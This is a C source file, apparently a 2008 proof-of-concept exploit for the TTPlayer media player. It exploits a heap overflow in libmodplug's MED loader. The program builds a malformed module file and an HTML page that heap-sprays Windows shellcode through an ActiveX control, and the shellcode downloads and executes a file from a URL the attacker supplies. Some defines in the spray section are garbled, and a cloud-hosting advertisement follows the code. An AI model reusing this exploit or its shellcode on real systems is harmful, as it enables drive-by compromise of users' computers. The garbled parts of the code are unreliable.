/*
libmodplug v0.8
  load_med.cpp
	BOOL CSoundFile::ReadMed(const BYTE *lpStream, DWORD dwMemLength)
		line 670: memcpy(m_lpszSongComments, lpStream+annotxt, annolen);

千千静听使用的是 libmod 来进行 mod 类文件格式的处理, 此库在 ReadMed 函数中，没有检查
文件描述的长度，如果传递一个恶意构造的值，将导致堆溢出。
现在采用libmod 软件很多，都应该存在此问题。

*/

/*
	author: dummy
	e-mail: dummyz@126.com

	date: 2008/02/25
*/

#include <windows.h>
#include <stdio.h>

#pragma pack(1)

typedef struct tagMEDMODULEHEADER
{
	DWORD id;		// MMD1-MMD3
	DWORD modlen;	// Size of file
	DWORD song;		// Position in file for this song
	WORD psecnum;
	WORD pseq;
	DWORD blockarr;	// Position in file for blocks
	DWORD mmdflags;
	DWORD smplarr;	// Position in file for samples
	DWORD reserved;
	DWORD expdata;	// Absolute offset in file for ExpData (0 if not present)
	DWORD reserved2;
	WORD pstate;
	WORD pblock;
	WORD pline;
	WORD pseqnum;
	WORD actplayline;
	BYTE counter;
	BYTE extra_songs;	// # of songs - 1
} MEDMODULEHEADER;

typedef struct tagMMD0SAMPLE
{
	WORD rep, replen;
	BYTE midich;
	BYTE midipreset;
	BYTE svol;
	signed char strans;
} MMD0SAMPLE;

// MMD0/MMD1 song header
typedef struct tagMMD0SONGHEADER
{
	MMD0SAMPLE sample[63];
	WORD numblocks;		// # of blocks
	WORD songlen;		// # of entries used in playseq
	BYTE playseq[256];	// Play sequence
	WORD deftempo;		// BPM tempo
	signed char playtransp;	// Play transpose
	BYTE flags;			// 0x10: Hex Volumes | 0x20: ST/NT/PT Slides | 0x40: 8 Channels song
	BYTE flags2;		// [b4-b0]+1: Tempo LPB, 0x20: tempo mode, 0x80: mix_conv=on
	BYTE tempo2;		// tempo TPL
	BYTE trkvol[16];	// track volumes
	BYTE mastervol;		// master volume
	BYTE numsamples;	// # of samples (max=63)
} MMD0SONGHEADER;

typedef struct tagMMD0EXP
{
	DWORD nextmod;			// File offset of next Hdr
	DWORD exp_smp;			// Pointer to extra instrument data
	WORD s_ext_entries;		// Number of extra instrument entries
	WORD s_ext_entrsz;		// Size of extra instrument data
	DWORD annotxt;
	DWORD annolen;
	DWORD iinfo;			// Instrument names
	WORD i_ext_entries;	
	WORD i_ext_entrsz;
	DWORD jumpmask;
	DWORD rgbtable;
	BYTE channelsplit[4];	// Only used if 8ch_conv (extra channel for every nonzero entry)
	DWORD n_info;
	DWORD songname;			// Song name
	DWORD songnamelen;
	DWORD dumps;
	DWORD mmdinfo;
	DWORD mmdrexx;
	DWORD mmdcmd3x;
	DWORD trackinfo_ofs;	// ptr to song->numtracks ptrs to tag lists
	DWORD effectinfo_ofs;	// ptr to group ptrs
	DWORD tag_end;
} MMD0EXP;

#pragma pack()

// Byte swapping functions from the GNU C Library and libsdl

/* Swap bytes in 16 bit value.  */
#ifdef __GNUC__
# define bswap_16(x) \
    (__extension__							      \
     ({ unsigned short int __bsx = (x);					      \
        ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8)); }))
#else
static __inline unsigned short int
bswap_16 (unsigned short int __bsx)
{
  return ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8));
}
#endif

/* Swap bytes in 32 bit value.  */
#ifdef __GNUC__
# define bswap_32(x) \
    (__extension__							      \
     ({ unsigned int __bsx = (x);					      \
        ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >>  8) |    \
	 (((__bsx) & 0x0000ff00) <<  8) | (((__bsx) & 0x000000ff) << 24)); }))
#else
static __inline unsigned int
bswap_32 (unsigned int __bsx)
{
  return ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >>  8) |
	  (((__bsx) & 0x0000ff00) <<  8) | (((__bsx) & 0x000000ff) << 24));
}
#endif

#ifdef WORDS_BIGENDIAN
#define bswapLE16(X) bswap_16(X)
#define bswapLE32(X) bswap_32(X)
#define bswapBE16(X) (X)
#define bswapBE32(X) (X)
#else
#define bswapLE16(X) (X)
#define bswapLE32(X) (X)
#define bswapBE16(X) bswap_16(X)
#define bswapBE32(X) bswap_32(X)
#endif

#define FILE_SIZE_	0x30000
// 远程攻击
#if 0
// 成功率很低
#define NOP_		"\"%u090aऊ\""
#define HEAP_ADDR_	码
#else
// 成功率很高
#define NOP_		"\"邐邐\""
#define HEAP_ADDR_	码

#endif



const unsigned char shellcode[174] = 
{
	// 必须是偶数大小
	0xE8, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x03, 0xEB, 0x21, 0x7E, 0xD8, 0xE2, 0x73, 0x98, 0xFE, 0x8A, 
	0x0E, 0x8E, 0x4E, 0x0E, 0xEC, 0x55, 0x52, 0x4C, 0x4D, 0x4F, 0x4E, 0x00, 0x00, 0x36, 0x1A, 0x2F, 
	0x70, 0x63, 0x3A, 0x5C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x59, 0x5F, 0xAF, 0x67, 0x64, 0xA1, 
	0x30, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0x8B, 0x68, 0x08, 0x51, 0x8B, 0x75, 0x3C, 
	0x8B, 0x74, 0x2E, 0x78, 0x03, 0xF5, 0x56, 0x8B, 0x76, 0x20, 0x03, 0xF5, 0x33, 0xC9, 0x49, 0x41, 
	0xAD, 0x03, 0xC5, 0x33, 0xDB, 0x0F, 0xBE, 0x10, 0x38, 0xF2, 0x74, 0x08, 0xC1, 0xCB, 0x0D, 0x03, 
	0xDA, 0x40, 0xEB, 0xF1, 0x3B, 0x1F, 0x75, 0xE7, 0x5E, 0x8B, 0x5E, 0x24, 0x03, 0xDD, 0x66, 0x8B, 
	0x0C, 0x4B, 0x8B, 0x5E, 0x1C, 0x03, 0xDD, 0x8B, 0x04, 0x8B, 0x03, 0xC5, 0xAB, 0x59, 0xE2, 0xBC, 
	0x8B, 0x0F, 0x80, 0xF9, 0x63, 0x74, 0x0A, 0x57, 0xFF, 0xD0, 0x95, 0xAF, 0xAF, 0x6A, 0x01, 0xEB, 
	0xAC, 0x52, 0x52, 0x57, 0x8D, 0x8F, 0xDB, 0x10, 0x40, 0x00, 0x81, 0xE9, 0x4E, 0x10, 0x40, 0x00, 
	0x51, 0x52, 0xFF, 0xD0, 0x6A, 0x01, 0x57, 0xFF, 0x57, 0xEC, 0xFF, 0x57, 0xE8, 0x90
};

const char* script1 = \
	"<html><body><object id=\"ttp\" classid=\"clsid:89AE5F82-410A-4040-9387-68D1144EFD03\"></object><script>"
	"var sc=unescape(\"";
const char* script2 = \
	"\");"
	"fb=unescape(" NOP_ ");"
	"while(fb.length<0x30000)fb+=fb;"
	"m=new Array();"
	"for(x=0;x<400;x++)m[x]=sc+fb+sc;"
	"setTimeout(\'ttp.URL=\"";
const char* script3 = \
	"\";ttp.controls.play();\', 3);</script>"
	"</body>"
	"</html>";

void make_med_file(const char* path)
{
	MEDMODULEHEADER mmh;
	MMD0SONGHEADER msh;
	MMD0EXP mex;
	FILE* file;
	long p;

	memset(&mmh, 0, sizeof (mmh));
	memset(&msh, 0, sizeof (msh));
	memset(&mex, 0, sizeof (mex));
	
	p = 0;

	mmh.id = 0x30444D4D; // version = '0'

	p +=  sizeof (MEDMODULEHEADER);
	mmh.song = bswapBE32(p);

	p += sizeof (MMD0SONGHEADER);
	mmh.expdata = bswapBE32(p);
	
	p += sizeof (MMD0EXP);
	mex.annolen = bswapBE32(-1);
	mex.annotxt = bswapBE32(p);
	
	file = fopen(path, "wb+");
	if ( file == NULL )
	{
		printf("create file failed!\n");
		exit(0);
	}
	else
	{
		fwrite(&mmh, 1, sizeof (mmh), file);
		fwrite(&msh, 1, sizeof (msh), file);
		fwrite(&mex, 1, sizeof (mex), file);
		
		while ( ftell(file) < FILE_SIZE_ )
		{
			fwrite(HEAP_ADDR_, 1, 4, file);
		}
		
		fclose(file);
		printf("successed!\n");
	}
}

void make_htlm_file(const char* htmlpath, const char* s3mpath, const char* url)
{
	FILE *file = fopen(htmlpath, "w+");
	if ( file == NULL )
	{
		printf("create '%s' failed!\n", htmlpath);
		exit(0);
	}

	fprintf(file, "%s", script1);
	for ( unsigned i = 0; i < sizeof (shellcode); i += 2 )
		fprintf(file, "%%u%02X%02X" , shellcode[i + 1], shellcode[i]);
	
	const unsigned l = strlen(url);
	for ( unsigned j = 0; j < l; j += 2 )
		fprintf(file, "%%u%02X%02X" , url[j + 1], url[j]);
	
	fprintf(file, "%s%s%s", script2, s3mpath, script3);
	fclose(file);
	
	printf("make '%s' successed!\n", htmlpath);
}

int main(int argc, char* argv[])
{
	printf("ttplayer stack exp poc by dummyz@126.com\n");
	if ( argc <= 1 )
	{
		printf("need argv!(ex: %s http://xxx.xxx/xx.exe\n", argv[0]);
		return -1;
	}
	
	printf("+ make_med_file...\n");
	make_med_file("c:\\shit.s3m");

	printf("+ make_htlm_file...\n");
	make_htlm_file("poc.html", "c://shit.s3m", argv[1]);

	printf("done.\n");

	return 0;
}

阿里云助力开发者！2核2G 3M带宽不限流量！6.18限时价，开 发者可享99元/年，续费同价！